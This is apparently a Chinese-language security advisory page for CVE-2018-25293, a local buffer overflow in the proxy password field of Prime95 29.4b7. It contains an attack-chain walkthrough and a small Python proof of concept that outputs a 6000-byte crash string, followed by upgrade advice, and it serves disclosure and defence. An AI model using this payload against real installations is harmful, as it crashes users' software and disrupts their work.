IPBUF安全漏洞报告
English
CVE-2018-25293 CVSS 6.2 中危

CVE-2018-25293 Prime95代理密码字段缓冲区溢出漏洞

披露日期: 2026-04-26

漏洞信息

漏洞编号
CVE-2018-25293
漏洞类型
缓冲区溢出
CVSS评分
6.2 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Prime95

相关标签

缓冲区溢出拒绝服务Prime95本地漏洞CVE-2018-25293

漏洞概述

Prime95 29.4b7版本中的PrimeNet连接对话框存在严重的缓冲区溢出漏洞。该漏洞源于程序在处理“可选代理密码”字段时未能正确验证输入数据的长度。本地攻击者无需任何权限或用户交互,只需在该字段中输入一段超长字符串(例如6000字节的有效载荷),即可触发内存越界写入。当应用程序尝试处理这些连接设置时,会因缓冲区溢出而崩溃,从而导致拒绝服务攻击,严重影响软件的正常运行。

技术细节

该漏洞属于典型的基于栈的缓冲区溢出。在Prime95软件的PrimeNet连接设置模块中,代理密码字段被定义为一个固定大小的缓冲区。当用户输入密码时,程序使用了不安全的内存拷贝操作,未对输入长度进行校验。攻击者可以向该字段输入超过缓冲区容量的数据(如6000字节)。数据写入时,多余的字节会覆盖栈上的返回地址或相邻的内存变量。由于攻击向量为本地(AV:L)且无需权限(PR:N),任何能访问系统的用户均可触发。虽然当前主要表现为DoS(应用程序崩溃),但在特定条件下,若攻击者能控制覆盖内容,理论上存在代码执行风险。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者需要能够访问运行Prime95 29.4b7的本地系统。
STEP 2
步骤2:打开配置界面
启动Prime95应用程序,导航至Test菜单中的PrimeNet连接设置对话框。
STEP 3
步骤3:输入恶意载荷
在代理设置中的“Optional Proxy Password”字段输入约6000字节的超长字符串。
STEP 4
步骤4:触发溢出
点击确认保存连接设置,程序处理该字符串时触发缓冲区溢出。
STEP 5
步骤5:拒绝服务
应用程序发生内存访问错误或栈破坏,导致Prime95崩溃并停止服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept (PoC) for CVE-2018-25293 # This script generates the payload to trigger the buffer overflow. import sys def generate_payload(length=6000): """ Generates a payload of 'A' characters to crash Prime95. The vulnerability is triggered by a string of approximately 6000 bytes in the 'Optional Proxy Password' field. """ return "A" * length if __name__ == "__main__": payload = generate_payload() print(f"[+] Generated payload with length: {len(payload)}") print("[+] Usage Steps:") print("1. Open Prime95 v29.4b7") print("2. Go to Test -> PrimeNet") print("3. Configure Proxy settings") print("4. Paste the payload below into the 'Optional Proxy Password' field") print("5. Click OK/Save to trigger the crash.") print("\n--- Payload ---") print(payload)

影响范围

Prime95 29.4b7

防御指南

临时缓解措施
建议用户立即停止使用受影响的Prime95 29.4b7版本,并访问Mersenne Research官方网站下载安装更新后的版本。在未升级之前,应严格限制对系统的本地访问权限,防止恶意用户利用此缺陷导致计算任务中断。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表